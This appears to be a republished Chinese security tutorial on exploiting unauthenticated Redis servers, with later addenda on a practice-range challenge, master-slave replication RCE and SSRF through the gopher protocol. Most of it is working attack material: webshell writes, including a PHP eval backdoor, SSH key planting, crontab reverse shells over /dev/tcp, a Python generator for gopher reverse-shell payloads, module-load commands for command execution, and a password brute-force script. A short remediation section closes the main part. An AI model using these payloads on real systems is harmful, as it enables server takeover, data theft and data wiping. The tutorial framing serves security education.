解析Redis未授權(quán)訪問漏洞復(fù)現(xiàn)與利用危害
一、漏洞簡介以及危害:
1.什么是redis未授權(quán)訪問漏洞:
Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關(guān)的策略,比如添加防火墻規(guī)則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務(wù)暴露到公網(wǎng)上,如果在沒有設(shè)置密碼認證(一般為空)的情況下,會導(dǎo)致任意用戶在可以訪問目標服務(wù)器的情況下未授權(quán)訪問 Redis 以及讀取 Redis 的數(shù)據(jù)。攻擊者在未授權(quán)訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務(wù)器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應(yīng)私鑰直接使用ssh服務(wù)登錄目標服務(wù)器。
簡單說,漏洞的產(chǎn)生條件有以下兩點:
(1)redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規(guī)則避免其他非信任來源ip訪問等相關(guān)安全策略,直接暴露在公網(wǎng);
(2)沒有設(shè)置密碼認證(一般為空),可以免密碼遠程登錄redis服務(wù)。
2.漏洞的危害
(1)攻擊者無需認證訪問到內(nèi)部數(shù)據(jù),可能導(dǎo)致敏感信息泄露,黑客也可以惡意執(zhí)行flushall來清空所有數(shù)據(jù);
(2)攻擊者可通過EVAL執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件;
(3)最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器
3.漏洞的影響
根據(jù) ZoomEye 的探測,全球無驗證可直接利用Redis 分布情況如下:
全球無驗證可直接利用Redis TOP 10國家與地區(qū):
二、漏洞復(fù)現(xiàn):
下載并安裝測試用的Redis,本次采用的是Ubuntu鏡像:
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
(如果下載不下來的話:http://distfiles.macports.org/redis/)
解壓安裝包:tar xzf redis-2.8.17.tar.gz進入redis目錄:cd redis-2.8.17安裝:make
make結(jié)束后,進入src目錄:cd src,
將redis-server和redis-cli拷貝到/usr/bin目錄下(這樣啟動redis-server和redis-cli就不用每次都進入安裝目錄了)
返回目錄redis-2.8.17,將redis.conf拷貝到/etc/目錄下:
使用/etc/目錄下的reids.conf文件中的配置啟動redis服務(wù):
服務(wù)啟動成功,我們克隆這臺虛擬機
一臺作為攻擊機,一臺作為靶機
攻擊機IP:192.168.0.105
靶機IP:192.168.0.104
啟動redis服務(wù)進程后,就可以使用測試攻擊機程序redis-cli和靶機的redis服務(wù)交互了。 比如:
三、未授權(quán)訪問漏洞測試
使用redis客戶端直接無賬號成功登錄redis:
從登錄的結(jié)果可以看出該redis服務(wù)對公網(wǎng)開放,且未啟用認證。
0x01 利用redis寫webshell
利用前提:
1.靶機redis鏈接未授權(quán),在攻擊機上能用redis-cli連上,如上圖,并未登陸驗證
2.開了web服務(wù)器,并且知道路徑(如利用phpinfo,或者錯誤爆路經(jīng)),還需要具有文件讀寫增刪改查權(quán)限
(我們可以將dir設(shè)置為一個目錄a,而dbfilename為文件名b,再執(zhí)行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件。)
這里由于本地搭建,我們已經(jīng)知道目錄,我們把shell寫入/home/bmjoker/目錄下:
注:
第三步寫入webshell的時候,可以使用:
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
\r\n\r\n代表換行的意思,用redis寫入的文件會自帶一些版本信息,如果不換行可能會導(dǎo)致無法執(zhí)行。
shell寫入完成,我們在靶機上來證明:
成功寫入shell。
當數(shù)據(jù)庫過大時,redis寫shell的小技巧:
<?php set_time_limit(0); $fp=fopen('bmjoker.php','w'); fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>'); exit(); ?>
0x02 利用"公私鑰"認證獲取root權(quán)限
當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務(wù)器。
靶機中開啟redis服務(wù):redis-server /etc/redis.conf
在靶機中執(zhí)行 mkdir /root/.ssh 命令,創(chuàng)建ssh公鑰存放目錄(靶機是作為ssh服務(wù)器使用的)
在攻擊機中生成ssh公鑰和私鑰,密碼設(shè)置為空:
進入.ssh目錄:cd .ssh/,將生成的公鑰保存到1.txt:
鏈接靶機上的redis服務(wù),
將保存ssh的公鑰1.txt寫入redis(使用redis-cli -h ip命令連接靶機,將文件寫入):
遠程登錄靶機的redis服務(wù):redis-cli -h 192.168.0.104
并使用 CONFIG GET dir 命令得到redis備份的路徑:
更改redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh):
設(shè)置上傳公鑰的備份文件名字為authorized_keys:
檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出,
至此成功寫入ssh公鑰到靶機:
在攻擊機上使用ssh免密登錄靶機:ssh -i id_rsa root@192.168.0.104
利用私鑰成功登錄redis服務(wù)器!??!
0x03利用crontab反彈shell
在權(quán)限足夠的情況下,利用redis寫入文件到計劃任務(wù)目錄下執(zhí)行。
端口監(jiān)聽:
在攻擊者服務(wù)器上監(jiān)聽一個端口(未被占用的任意端口):
nc -lvnp 4444
攻擊詳情:
連接redis,寫入反彈shell
redis-cli -h 192.168.0.104 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"
config set dir /var/spool/cron config set dbfilename root save
過一分鐘左右就可以收到shell
四、Pyhton腳本自動化測試
可用來測試是否存在未授權(quán)或弱口令的情況:
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未授權(quán)訪問" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密碼:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
五、解決方案
1、比較安全的辦法是采用綁定IP的方式來進行控制。
請在redis.conf文件找到如下配置
# If you want you can bind a single interface, if the bind option is not
# specified all the interfaces will listen for incoming connections.
#
# bind 127.0.0.1
把 #bind 127.0.0.1前面的注釋#號去掉,然后把127.0.0.1改成你允許訪問你的redis服務(wù)器的ip地址,表示只允許該ip進行訪問,這種情況下,我們在啟動redis服務(wù)器的時候不能再用:redis-server,改為:redis-server path/redis.conf 即在啟動的時候指定需要加載的配置文件,其中path/是你上面修改的redis配置文件所在目錄,這個方法有一點不太好,我難免有多臺機器訪問一個redis服務(wù)。
2、設(shè)置密碼,以提供遠程登陸
打開redis.conf配置文件,找到requirepass,然后修改如下:
requirepass yourpassword yourpassword就是redis驗證密碼,設(shè)置密碼以后發(fā)現(xiàn)可以登陸,但是無法執(zhí)行命令了。 命令如下: redis-cli -h yourIp -p yourPort//啟動redis客戶端,并連接服務(wù)器 keys * //輸出服務(wù)器中的所有key 報錯如下 (error) ERR operation not permitted 這時候你可以用授權(quán)命令進行授權(quán),就不報錯了 命令如下: auth youpassword
-------------------------
于2018.11.23進行補充
Redis配置錯誤導(dǎo)致的遠程代碼漏洞溯源
在刷墨者學(xué)院的題時,發(fā)現(xiàn)了這個不錯的題,通過這個題了解Redis在低權(quán)限下的滲透思路:
給出了IP:219.153.49.228 ,同時也給出了倆個端口一個是web也就是http端口 419387,一個是redis數(shù)據(jù)庫端口 48055
嘗試用kali鏈接redis端口:
redis-cli -h 219.153.49.228 -p 48055
連接成功,本想用上文的方法,生成ssh密鑰把內(nèi)容寫進redis數(shù)據(jù)庫,然后把redis數(shù)據(jù)庫的目錄指定到/etc/.ssh/,這樣就可以通過ssh直接連接服務(wù)器,但是這里權(quán)限不夠,不能指定到/etc/.ssh/目錄。
由于服務(wù)器是ubuntu的,apache容器,嘗試指定一下默認的路徑/var/www/html/來寫入shell:
一波寫入shell的操作,然后在web頁面嘗試訪問我們寫入shell的joker.php文件:
成功寫入,嘗試用菜刀鏈接,獲取flag:
出現(xiàn)這樣的問題還是權(quán)限控制的不足
-----------------------
于2019.10.9日補充
redis主從復(fù)制rce
Redis是一個使用ANSI C編寫的開源、支持網(wǎng)絡(luò)、基于內(nèi)存、可選持久性的鍵值對存儲數(shù)據(jù)庫。但如果當把數(shù)據(jù)存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務(wù)端就很難承受。為了應(yīng)對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數(shù)據(jù)相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。
在Redis 4.x之后,Redis新增了模塊功能,通過外部拓展,可以在redis中實現(xiàn)一個新的Redis命令,通過寫c語言并編譯出.so文件。編寫惡意so文件的代碼 https://github.com/RicterZ/RedisModules-ExecuteCommand
在兩個Redis實例設(shè)置主從模式的時候,Redis的主機實例可以通過FULLRESYNC同步文件到從機上。然后在從機上加載so文件,我們就可以執(zhí)行拓展的新命令了。
網(wǎng)上收集兩個比較方便的getshell python腳本
1.https://github.com/n0b0dyCN/redis-rogue-server
漏洞利用:
2.https://github.com/Ridter/redis-rce
漏洞利用:
反彈到其他服務(wù)器:
---------------
于2021.01.02補充
ssrf,redis與gopher
補充篇只來討論如果通過ssrf探測到內(nèi)網(wǎng)某ip開啟了6379端口,并存在未授權(quán),如何結(jié)合gopher協(xié)議來寫shell。
gopher是Internet上一個非常有名的信息查找系統(tǒng),它將Internet上的文件組織成某種索引,很方便地將用戶從Internet的一處帶到另一處。在WWW出現(xiàn)之前,gopher是Internet上最主要的信息檢索工具,gopher站點也是最主要的站點,使用tcp70端口。但在WWW出現(xiàn)后,gopher失去了昔日的輝煌。現(xiàn)在它基本過時,人們很少再使用它;
gopher協(xié)議支持發(fā)出GET、POST請求:可以先截獲get請求包和post請求包,在構(gòu)成符合gopher協(xié)議的請求。gopher協(xié)議是ssrf利用中最強大的協(xié)議
gopher協(xié)議格式:
URL:gopher://<host>:<port>/<gopher-path>_后接TCP數(shù)據(jù)流
gopher的默認端口是70
如果發(fā)起post請求,回車換行需要使用%0d%0a,如果存在多個參數(shù),參數(shù)之間的&也需要進行URL編碼。注意%0d%0a是\r\n的URL編碼。
gopher發(fā)送請求HTTP GET請求:
curl gopher://192.168.194.1:6666/_abcd
注意:abcd是要傳遞的數(shù)據(jù),_會被吃掉不會傳遞過去
由于gopher協(xié)議規(guī)則比較復(fù)雜,這里借助一個github的工具來生成payload:https://github.com/firebroo/sec_tools
只需要在redis-over-gopher/redis.cmd中寫入redis執(zhí)行的命令,比如下面的命令直接在web目錄下寫shell
flushall config set dir /tmp config set dbfilename shell.php set 'webshell' '<?php phpinfo();?>' save
編輯好后運行redis-over-gopher/redis-over-gopher.py
python redis-over-gopher.py
就可以生成支持gopher協(xié)議的payload:
使用curl運行payload
進入docker容器,發(fā)現(xiàn)shell.php已經(jīng)成功生成
注:需要將內(nèi)容再進行一次url編碼傳到web的參數(shù)中才會正常運行
使用ssrf端口探測的時候,不要拘泥于http協(xié)議,還可以使用dict協(xié)議來進行探測
利用gopher協(xié)議反彈shell
/*gopher協(xié)議反彈shell利用腳本*/ import urllib protocol="gopher://" ip="192.168.127.140" port="6379" reverse_ip="192.168.127.131" reverse_port="7777" cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port) filename="root" path="/var/spool/cron" passwd="" cmd=["flushall", "set 1 {}".format(cron.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
redis如果有密碼,是弱口令的話,可以通過python腳本爆破,看回顯來確定密碼是否正確
如果有口令在最前面,和gopher的格式一樣,如下健為AUTH,密碼為123456
爆破的時候需要在尋常的未授權(quán)前加上認證的gopher字段
%2A2%0d%0a%244%0d%0aAUTH%0d%0a%246%0d%0a123456%0D%0A
爆破成功的化可以直接結(jié)合gopher協(xié)議對redis進行寫shell的操作。
這里結(jié)合上面的redis主從復(fù)制的RCE來執(zhí)行命令,先來構(gòu)造加載exp.so的payload
config set dir /tmp/ config set dbfilename /tmp/ slaveof 192.168.127.140 4444 module load /tmp/exp.so system.exec 'whoami' quit
這樣就可以加載本地的exp.so對redis進行爆破,如果爆破成功就執(zhí)行whoami命令。
這里只是一種演示,使用此方法同樣可以寫shell,寫計劃任務(wù)來獲取shell。
參考文章:
Redis 安裝 http://www.runoob.com/redis/redis-install.html
Redis未授權(quán)訪問漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
Redis 未授權(quán)訪問配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未授權(quán)訪問漏洞利用姿勢http://www.jianshu.com/p/e550628ba1bc
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=36100&highlight=redis
到此這篇關(guān)于Redis未授權(quán)訪問漏洞復(fù)現(xiàn)與利用的文章就介紹到這了,更多相關(guān)Redis未授權(quán)訪問漏洞內(nèi)容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
spring?boot集成redis基礎(chǔ)入門實例詳解
redis在spring?boot項目開發(fā)中是常用的緩存套件,常見使用的是spring-boot-starter-data-redis,這篇文章主要介紹了spring?boot集成redis基礎(chǔ)入門,本文結(jié)合實例代碼給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2022-10-10redis性能優(yōu)化之生產(chǎn)中實際遇到的問題及排查總結(jié)
這篇文章主要介紹了redis性能優(yōu)化之生產(chǎn)中實際遇到的問題及排查總結(jié),具有很好的參考價值,希望對大家有所幫助。如有錯誤或未考慮完全的地方,望不吝賜教2022-12-12使用redis實現(xiàn)延遲通知功能(Redis過期鍵通知)
這篇文章主要介紹了使用redis實現(xiàn)延遲通知功能(Redis過期鍵通知)的相關(guān)知識,本文通過實例代碼圖文相結(jié)合給大家介紹的非常詳細,對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友參考下吧2021-09-09Redis和數(shù)據(jù)庫 數(shù)據(jù)同步問題的解決
這篇文章主要介紹了Redis和數(shù)據(jù)庫 數(shù)據(jù)同步問題的解決操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧2021-01-01